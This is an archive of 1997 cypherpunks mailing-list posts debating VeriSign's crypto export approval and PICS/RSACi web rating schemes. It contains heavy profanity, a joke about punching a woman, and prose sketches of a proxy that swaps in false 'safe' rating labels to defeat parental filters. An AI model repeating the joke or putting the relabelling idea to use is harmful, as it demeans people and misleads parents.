Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 17 Jul 1997 21:56:42 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <199707171339.JAA19638@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	This is sort of entertaining considering that Verisign still
doesn't use strong encryption for themselves.  (Set your browser to
not use broken algorithms, and try to connect to www.verisign.com.
Makes me want to send them the data for a class 3 cert.)

Lucky Green wrote:
| >
| >     "VeriSign on Monday said it received permission from 
| >       the U.S. Department of Commerce to export 128-bit 
| >       strong encryption software and issue digital 
| >       identifications to approved organizations based on 
| >       that software. "
| 
| It tells us that the US government has found yet another sucker to support
| their failed policy of bait and switch. VeriSign, just as AT&T and National
| Semiconductor have discovered in the past, will discover soon that the
| revenue generated by "playing ball" isn't nearly as large as promised. [How
| many Clipper phones and Fortezza iPower cards were sold? Total?] In fact,
| it the revenue may well prove to be in the negative digits.

| time by VeriSign upon the USG's request. Such revocation or refusal to
| issue a new cert after the first year of operation will leave the webserver
| operator with a server that is no longer able to encrypt communications to
| their customers in any meaningful way, thereby effectively shutting down
| Internet based operations of the company unfortunate enough to invest in
| such a flawed solution.

	I'll save Sameer the trouble, and suggest that people buy
Stronghold.

Adam

-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 01:21:31 +0800
To: Bill Frantz <adam@homeport.org>
Subject: Re: Verisign gets export approval
In-Reply-To: <199707171339.JAA19638@homeport.org>
Message-ID: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>It seems to me that someone who has a one year export approved Verisign
>cert should use it to authenticate a new top-level CA cert which they pass
>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>loop.

Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
extension) will activate the strong encryption in exportable browsers. This
is hardcoded into Navigator and Internet Explorer.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 23:51:22 +0800
To: cypherpunks@toad.com
Subject: Re: All of my fucking material is suitable for children of all ages
In-Reply-To: <199707170946.LAA02378@basement.replay.com>
Message-ID: <k9oZ0D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> 
> Tim May wrote:
> > my posts should be read by children of all ages, no matter what
> > fucking language I use. Children should be exposed to language and images
> > of all types, so all of my material would of course be "suitable for
> > children."
> 
>   I have to agree with the rat-bastard, cocksucking, motherfucking
> sack of shit, Tim May, on this one.

When Timmy is not flaming me, he usually talks sense.

FWIW, my 8 y o has his own IBM Aptiva, his own Internet access, his own
e-mail box, and I exercise absolutely no control over what he reads or
says on the Internet.

>   Having Tourette Syndrome, I object to anal retentives who would
> criminalize my God-given verbal predelictions. Neither would my
> receiving an exception on the grounds of being disabled be remotely
> acceptable to me, since I sincerely believe that my TS is a "gift"
> that allows me to say anything that others say to a judge, *plus*
> being able to call him or her a Nazi ratfucker. (Anyone who thinks
> this is a "disability" is fucking crazy.)
> 
>   On the other hand, it would be kind of neat to launch a class action
> lawsuit demanding that ratings systems incorporate a label such as:
> "Suitable (FUCK!) for children (COCKSUCKER!) with Tourette Syndrome"
> 
> FUCKMonger
> > --
> > [This Bible excerpt awaiting review under the U.S. Communications Decency
> > Act of 1996]
> > And then Lot said, "I have some mighty fine young virgin daughters. Why
> > don't you boys just come on in and fuck them right here in my house - I'll
> > just watch!"....Later, up in the mountains, the younger daughter said:
> > "Dad's getting old. I say we should fuck him before he's too old to fuck."
> > So the two daughters got him drunk and screwed him all that night. Sure
> > enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> > really hated the idea of doing his brother's wife and getting her pregnant
> > while his brother got all the credit, so he pulled out before he
> > came....Remember, it's not a good idea to have sex with your sister, your
> > brother, your parents, your pet dog, or the farm animals, unless of course
> > God tells you to. [excerpts from the Old Testament, Modern Vernacular
> > Translation, TCM, 1996]
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 23:47:12 +0800
To: cypherpunks@toad.com
Subject: Re: The Big Sellout
In-Reply-To: <199707170854.EAA01439@upaya.multiverse.com>
Message-ID: <eNPZ0D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Peter D. Junger" <junger@upaya.multiverse.com> writes:

> 
> Brian Lane writes:
> 
> :   My webpage will proudly remain unlabeled by any labeling standard.
> : Anyone got a good design for a 'No Lables, Never' sticker to add to our
> : pages?
>  
> How about an image of a label with the words ``this is not a label''
> on it?

I think a better approach would be to rate all of one's pages as being very
nasty, and post a disclaimer that those who rely on 'ratings' shouldn't be
allowed to see it, irrespective of contents.

I dont know much about this Web page design stuff. Can someone please post
a recipe for 'rating' a page to be max-nasty, both sex and violence-wise?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 18 Jul 1997 02:07:13 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717103257.040aa9e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:45 PM 7/17/97 +0200, Name Withheld by Request wrote:
>
>
>On Wed, 16 Jul 1997 frissell@panix.com wrote:
>
>> What ever happened to "de minimus non curat lex."  The social damage
from a 
>> misrated website is too trivial to be believed.  Punishing it is like 
>> executing you for farting.
>
>  In some cases that may not be a bad idea :). But getting back to the
>original point, if I'm going to be subject to jail for mislabeling my
>pages (and how do you tell, given that some systems use a numeric rating? 
>count the nipples and add the size of any erections?) then that would 
>seem to be a good reason to move my Web site out of America. 
>  Idependent rating systems are a good thing, and we've talked about them
>here many times in the past (e.g. 'repuation markets'). A mandatory
>requirement for web authors to rate their own pages is a hideous idea
>which will simply move more of the Web overseas, helping to destroy the US
>economy. 

Furthermore, if you have no smut on you page, but you link to offensive
content (rated or unrated) somewhere else, how does that rate?

A while back on a whim, I created a page that is based on a type of ambush
humor.  The link describes something in a way where you think you are going
to one thing, but go to something entirely different.  If they push
something where you have to label everything for the most clueless out
there, it will ruin the whole page.  (I find the idea that I might get
prosecuted for my Goth page absurd, but it is possible considering the
clueless morons in power.)  The page (outdated links and all) is at
http://www.ctrl-alt-del.com/~alan/goth.html .

Something else...  Why does the press refer to Gore in such terms that make
him look like he is some sort of techno-nerd?  The man is totally without
clues.  (I believe the proper term is "Connection to Clue-server refused by
host.")  The "Information Superhighway" that he was pushing was a souped-up
cable system for Ghod's sake!  (The extra bandwidth was going to be used by
starting movies every 10-15 minutes instead of having to wait.)  The
hearings on that were high clueless theatre...  Maybe Declan can due an
article on how far removed Gore really is from the process.  (But that
might offend his corporate masters...)

  
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 01:50:49 +0800
To: cypherpunks@Algebra.COM
Subject: What is Truth?
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <v03102802aff4087cae4c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:45 AM -0700 7/17/97, Name Withheld by Request wrote:
>On Wed, 16 Jul 1997 frissell@panix.com wrote:
>
>> What ever happened to "de minimus non curat lex."  The social damage from a
>> misrated website is too trivial to be believed.  Punishing it is like
>> executing you for farting.
>
>  In some cases that may not be a bad idea :). But getting back to the
>original point, if I'm going to be subject to jail for mislabeling my
>pages (and how do you tell, given that some systems use a numeric rating?

There are some core issues in this debate:

* What is truth? What is "adult material"? What is "violent material"? What
is "appropriate for 10-year-olds"?

* Who can possibly determine this?

I conclude that the only possible option (that will withstand review by the
courts, including eventually the Supreme Court) is "purely voluntary
labeling, including none."

Whether search engines or browsers will index or point to unlabelled
sites/material is of course up to _them_ (again, in a voluntary way).

The one possible legal sticking point is "misrepresentation" of labels. But
even this problem goes away.

Digital signatures prevent others from forging labels.

What's left is then the original issue, e.g., "What if Tim's Rating Service
says material is OK for children of all ages, and it isn't?" This is an
_opinion_ issue, and the State must not get involved in opinions.

There is no role whatsover for government in this issue, of course, any
more than there is any role for government in regulating, overseeing,
licensing, approving, or interfering with publishing in general.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 17 Jul 1997 13:07:23 +0800
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <Pine.LNX.3.93.970717104955.314B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, Declan McCullagh wrote:

> Wait -- so you're saying they *didn't* do the right thing with RSACi?
> 
> BTW, we should differentiate generally between state action and private
> action. Getting fucked by Microsoft != getting fucked by the government.

When microsoft has more power and money then most goverments I begin to 
see no real difference between president Bill gates and any other
totalrion dictator.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 19:14:29 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716140549.18879C-100000@well.com>
Message-ID: <Pine.LNX.3.91.970717104711.2219A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>      If you host a web page or publish online, be
> warned: soon your site might become invisible. Search
> engines won't index it and web browsers won't show it.
> Unless, that is, you agree to attach special labels to
> your web pages identifying how violent, sexually
> explicit, or inappropriate for kids your site is.

As I remember these systems such as PICS do not index back onto the PICS 
HQ server to find your rating, but just check HTML tags in your page. 
Also, of course, the "PICS off" part of the options will be passworded to 
prevent kids from retrieving unrated/high rated pages, so we need to find 
a way around this.

Now presumably Congress will pass a law mandating correct rating of pages, 
but we could set up a non-US site which acted as a proxy, a bit like the 
anonymizer, and when it was requested it would retrieve a page, strip 
of all current tags, and replace them with new "no violence, no sex 
etc.." tags. Clearly however this would be a *very* high bandwidth 
application, but it`s just a thought. 

To kill the bandwidth problem, maybe someone could write a local HTML 
anti-PICS proxy, so, one would load up the web browser, point it at 
http://localhost which would bring up a simple page with a box for the 
URL to retrieve, the local proxy would then use HTTP to get the page, 
strip of all existing PICS tags, insert new "no sex, no violence etc..." 
tags, and forward the page on to the browser.

However, I find it unlikely many censorous parents would have the 
foresight to ensure the kids login couldn`t install other s/w such as an 
old browser which doesn`t support PICS and would display the pages 
anyway, so it looks like the whole discussion may lead nowhere, apart 
from maybe the advantage of the new browsers other features being 
preserved in the proxy route.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 18 Jul 1997 02:26:19 +0800
To: frantz@netcom.com
Subject: Re: Verisign gets export approval
In-Reply-To: <v0300781aaff3f52c25a1@[207.94.249.49]>
Message-ID: <199707171803.LAA25949@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz writes:
> 
> It seems to me that someone who has a one year export approved Verisign
> cert should use it to authenticate a new top-level CA cert which they pass
> to their customers.  Cut Verisign and their nosy/noisy partner out of the
> loop.

My understanding is that Verisign's licensing agreement
explicitly forbids using any certs they issue as CA certificates.
Maybe if the 'someone' paid Verisign an appropriate fee they
might allow it, but I'd bet that fee would be very high.
Verisign's no dummy, they don't want to enable new competition
to ride on their backs.

In the case of this special strong-crypto-allowing cert, Verisign
would probably be encouraged to discourage cert holders from
using the special Verisign certs as CA certs, for the very
reason you suggest. :-)

The format of the X.509 extensions that will enable strong crypto
operation will be known soon.  Even if Netscape et. al. tried to keep
them secret, since they're public certificates they'll be available to
anyone with an ASN.1 parser.


-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 19:27:31 +0800
To: "James A. Donald" <jamesd@echeque.com>
Subject: Re: FCPUNX:'The Failure to Do Your Job' amendment (was Re: White House
In-Reply-To: <199707170348.UAA19054@proxy4.ba.best.com>
Message-ID: <Pine.LNX.3.91.970717110931.2219B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > A Constitutional amendment that would call for the impeachment of the
> > President for failing to veto any three bills that are overturned by the
> > Supreme Court on Constitutional grounds.
> 
> This however, presupposes that the supreme court is likely to veto
> unconstitutional bills, and refrain from vetoing constitutional
> bills.  

This also assumes that the supremes, knowing the president may be 
impeached on the 3rd overturned bill, would not be less likely to 
overturn it because of the political turmoil created. Also it assumes the 
supremes cannot be brought, by and large a president doesn`t care about 
individual bills, if his ass was on the line it would be a case for more 
desperate action on his part.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Roland Silver <rollo@artvark.com>
Date: Fri, 18 Jul 1997 01:32:23 +0800
To: cypherpunks@toad.com
Subject: Icosahedral dice
Message-ID: <v03110602aff4040dc541@[206.183.203.115]>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know of a source for a picture of a pair of icoshedral dice?


-- Rollo Silver <rollo@artvark.com>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 17 Jul 1997 18:54:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170338.WAA32029@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.91.970717112425.2219D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> There seems to be a prevelent attitude in the INet community that when
> getting fucked by the government we should thank them for only sticking it
> in half-way.

ObTastelessCypherpunkJoke:

Q. What do you do if a woman says "give me 12 inches and hurt me"?

A. Stick it in half way and punch her....


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 18 Jul 1997 02:45:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: What is Truth?
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717113355.03de9400@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:44 AM 7/17/97 -0700, Tim May wrote:
>There are some core issues in this debate:
>
>* What is truth? What is "adult material"? What is "violent material"? What
>is "appropriate for 10-year-olds"?

And not all 10-year olds are created equal.

Mine is able to handle alot of things that many adults cannot.  (She was in
the front row of the last H.P. Lovecraft film festival in the area.  Had
alot of fun and no nightmares.  Got some interesting looks from the people
running it...)  It depends on how the child was raised.  Most kids I have
seen are raised to be weak and fragile little ornaments for their parent's
ammusement.  They have little or no intelectual curiosity.  Many of them
have a hard time distinguishing fact from fiction.  (And some grow up that
way as well.)

>* Who can possibly determine this?

They will determine some standard, not based on any actual 10-year olds or
any knowledge of what is good for them.  It will be based on input from
various preasure groups as to what a "good little 10-year old" should be
like.  And what is "good for a 10-year old is good for America".

The real reason for these controls is to impose their "moral" views on the
rest of the net.  Children are of little concern here, except in enforcing
control over future generations.  What is important is exerting control
over the rest of the population.

>I conclude that the only possible option (that will withstand review by the
>courts, including eventually the Supreme Court) is "purely voluntary
>labeling, including none."

It will be as "purely voluntary" as taxes.  They will come up with various
"incentives" for pages to be rated.  Those "incentives" will be things like
"not being beaten with a rubber hose" or "not getting your feed to the net
cut".

>Whether search engines or browsers will index or point to unlabelled
>sites/material is of course up to _them_ (again, in a voluntary way).

But they will be "discouraged" through quasi-legal means from indexing
unrated and/or unauthourized pages.

Makes me want to build a web crawler that looks ONLY for offensive pages.

>The one possible legal sticking point is "misrepresentation" of labels. But
>even this problem goes away.

Labels are subjective.  I expect a few small fish will be made an example
of just to frighten others into complience.

>Digital signatures prevent others from forging labels.

If they are signed.  Many of the would-be labelers are not especially clued.

>What's left is then the original issue, e.g., "What if Tim's Rating Service
>says material is OK for children of all ages, and it isn't?" This is an
>_opinion_ issue, and the State must not get involved in opinions.

It comes down to an issue of "Lawyers, Guns and Money".  How bad do they
want to hurt you.  I expect that they will come up with some sort of
"certification authority" for labeling organizations.  Those who are not
"certified" will not be "recognised" by the filtering software.  

>There is no role whatsover for government in this issue, of course, any
>more than there is any role for government in regulating, overseeing,
>licensing, approving, or interfering with publishing in general.

And can you name ANY part of society that Government has been willing to
"leave alone"?  It does not matter what portion of society it is...  If it
is a "hot button issue", government feels compelled to get involved.  It is
part of the control freak nature of government.  Have you ever known a
government agency to "mind its own business"?  You are refering to a
philosophy not followed by the US government.

They will regulate until no Cypherpunk breathes free air...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 18:02:20 +0800
To: cypherpunks@toad.com
Subject: Re: All of my fucking material is suitable for children of all ages
Message-ID: <199707170946.LAA02378@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> my posts should be read by children of all ages, no matter what
> fucking language I use. Children should be exposed to language and images
> of all types, so all of my material would of course be "suitable for
> children."

  I have to agree with the rat-bastard, cocksucking, motherfucking
sack of shit, Tim May, on this one.
  Having Tourette Syndrome, I object to anal retentives who would
criminalize my God-given verbal predelictions. Neither would my
receiving an exception on the grounds of being disabled be remotely
acceptable to me, since I sincerely believe that my TS is a "gift"
that allows me to say anything that others say to a judge, *plus*
being able to call him or her a Nazi ratfucker. (Anyone who thinks
this is a "disability" is fucking crazy.)

  On the other hand, it would be kind of neat to launch a class action
lawsuit demanding that ratings systems incorporate a label such as:
"Suitable (FUCK!) for children (COCKSUCKER!) with Tourette Syndrome"

FUCKMonger
> --
> [This Bible excerpt awaiting review under the U.S. Communications Decency
> Act of 1996]
> And then Lot said, "I have some mighty fine young virgin daughters. Why
> don't you boys just come on in and fuck them right here in my house - I'll
> just watch!"....Later, up in the mountains, the younger daughter said:
> "Dad's getting old. I say we should fuck him before he's too old to fuck."
> So the two daughters got him drunk and screwed him all that night. Sure
> enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> really hated the idea of doing his brother's wife and getting her pregnant
> while his brother got all the credit, so he pulled out before he
> came....Remember, it's not a good idea to have sex with your sister, your
> brother, your parents, your pet dog, or the farm animals, unless of course
> God tells you to. [excerpts from the Old Testament, Modern Vernacular
> Translation, TCM, 1996]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Jul 1997 01:39:04 +0800
To: cypherpunks@toad.com
Subject: A.Jensen doesn't like Sympatico.ca
Message-ID: <7HuZ0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



What do Timmy May and A.Jensen have in common?

They hate Toto's ISP:

From: pavanas@meridio.ccia.com (pavanas abludo incusus)
Newsgroups: news.admin.net-abuse.email
Subject: Re: Addresses for sympatico.ca and netcom.ca
Date: 16 Jul 1997 00:02:54 GMT
Organization: Aragorn Asteria
Lines: 45
Message-ID: <slrn5so3sq.jr.pavanas@meridio.ccia.com>
References: <5qfv4p$ce3@camel3.mindspring.com> <33CBE926.495E@swva.net> <33d6f
xt.36276030@news.erols.com>
Reply-To: pavanas@bbs.mpcs.com
X-Newsreader: slrn (0.9.4.2 UNIX)
Path: altavista!news1.digital.com!data.ramona.vix.com!sonysjc!sonybc!newsjunki
xtns.net!newsfeeds.ans.net!portc02.blue.aol.com!bignews.mediaways.net!news-han
xtfn.de!newsserver.rrzn.uni-hannover.de!baghira.han.de!news.rz.uni-hildesheim.
xtfu-berlin.de!nntprelay.mathworks.com!infeed2.internetmci.com!newsfeed.intern
xtci.com!news.alt.net!pavanas

On Tue, 15 Jul 1997 22:07:46 GMT,
 Roswell Coverup <Majestic7@ALIENcryogen.SPAMcom> mused and hath written:

>
>On Tue, 15 Jul 1997 17:18:30 -0400, while digesting the latest ration
>of Spam & UCE "Patricia A. Shaffer" <ramsa@swva.net> wrote:
>
>>
>>I've@Enough.Of.It wrote:
>>> 
>>> Anyone have complaint addresses for these? I can't seem to find any that w
xt.
>>> 
>>> btw, Anyone noticed increasing spam from Canada?
>>> 
>>> ......
>>> :)avid
>>
>>Yes, sir ... about a half-dozen in the last week. One complaint sent to
>>sympatico's Administrative Contact bounced back "user unknown". I had
>>sent to postmaster as well, and that didn't bounce ... I'm learning ...
>>but no response, yet.
>>
>>Patricia
>
>I have never received a response from sympatico - they are a spam
>factory.
>
>
And then some... Despite repeated attempts I have never managed a response
of any kind from anyone at sympatico. Consider them a write off.

>--------
>JOWazzoo..aka Roswell Coverup
>BlueLister Tracker Downer - Robert. whatcha gonna do when they come for you??
>Very Disturbed Nerd,InterNUT BlueList,NetScum & NJ Swearer List
>Fight spam, support Rep. Chris Smith's TCPA extension by joining
>CAUCE: http://www.cauce.org

cheers

-- 
IHS
pavanas
        We are but dust and shadow.
                                        Quintus Horatius Flaccus    

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 18 Jul 1997 00:32:54 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.91.970717104711.2219A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.96.970717121626.21011D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Paul Bradley wrote:

> However, I find it unlikely many censorous parents would have the 
> foresight to ensure the kids login couldn`t install other s/w such as an 
> old browser which doesn`t support PICS and would display the pages 
> anyway, so it looks like the whole discussion may lead nowhere, apart 
> from maybe the advantage of the new browsers other features being 
> preserved in the proxy route.

You mean like the WebTv boxes that run Netscape 1.x? :)  Hehehehe...  The
best thing for us to do is simply force a "Fuck You" rating on all our
pages - voluntarily rate it for sex content, foul language,
beastiality, anarchy, drug/bomb recipies, or whatever - but make the page
very useful to force people to come to the page anyway.  Easy way to take
these ratings out at the knees.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 18:44:38 +0800
To: cypherpunks@toad.com
Subject: Fuck You Rating Systems, Inc.
Message-ID: <199707171030.MAA08390@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



ANNOUNCEMENT: Fuck You Ratings Software Escapes Beta-Test!

  We are proud to announce that "Fuck You" ratings software has managed
to escape our beta-test laboratory and is now available in tit bars and
crack houses around the nation.
  Our software makes it easy and convenient to attach ratings labels to
your web site which reflect your attitude toward the anal retentive
assholes who are surfing for trouble.

"Fuck You, you Christian asshole! All I have on this web site is *real*
pussy, not *imaginary* saviors!"

"Fuck You, you LEA prick! This web site is leased in the name of my
dead grandmother, so don't bother getting a subpoena unless you're 
willing to do some digging."

"Fuck You, mom and dad! Until you flush your dope down the toilet, I 
don't need to hear any of your moralistic crapola."

  "Fuck You" ratings software has the "Lenny Bruce Found-fucking-dation"
Seal of Approval.

What others have to say about "Fuck You" ratings software:
  "Fuck."
      - Tim May
  "Shit."
      - Declan McCullagh
  "Cocksucker."
      - Dr. Dimitri Vulis, KOTM
  "Am not."
      - John Gilmore
  "Are too."
      - Paul Bradley
  "Fuck."
      - Kent Crispin
  "If you check the archives, you'll find that I said 'Fuck' earlier
  in this post."
      - Tim May
  "Darn."
      - Dorothy Denning
  "Heck."
      - Senator Snatch (hee, hee)

  Order "Fuck You" ratings software before Dec. 32, 2299, and get a 
free copy of "Bite Me" autoresponder software.
{Offer not valid in states where having sexual relations with animals
is against local ordinances.}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 03:22:44 +0800
To: David Formosa <dformosa@st.nepean.uws.edu.au>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.LNX.3.93.970717064758.102A-100000@shirley>
Message-ID: <33CE664A.82@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} wrote:
> 
>         Now I'm clearly not a 'merkin and have little knowlig of how your
> system works but I would have thourt creating a sepreate marking sceam for
> 'news sites' and makeing it illegal to misslable would be creating a
> licenced press and therefore unconstutional.
> 
Well, in theory, requiring a licenced press would violate the 1st
Amendment.

Requiring any kind of rateing on a web page would seem to be the same as
requiring a newspaper to rate itself to protect someone from reading a
story that would be offensive to her/him. I don't beleave the newspaper
industry would stand by and let that happen to them.

> You Say To People "Throw Off Your Chains" And The Make New Chains For
> Themselves? --Terry Pratchett
Hehe.  Who ever said people were smart?

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 18 Jul 1997 22:33:15 +0800
To: "Peter D. Junger" <junger@upaya.multiverse.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170915.FAA01650@upaya.multiverse.com>
Message-ID: <Pine.LNX.3.91.970717125226.2372A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> : BTW, we should differentiate generally between state action and private
> : action. Getting fucked by Microsoft != getting fucked by the government.
> : This is Libertarianism 101. Of course, I admit today the distinction was
> : blurry.
> 
> Corporations are just parts of the government that got away.  I have
> never understood why some, though far from all, libertarians bother
> to distinguish them from the other organs of the state. 

If I read this the right way I would suppose that you are saying that a 
corporate agreement to include rating systems in all browsers would be on 
a par with mandated inclusion pushed through by the government. Not so: 
The government uses force and violence to make individuals and companies 
do it`s bidding, if the government did not enforce laws they wouldn`t be 
wrong, because there would be no act of agression. Assuming a large 
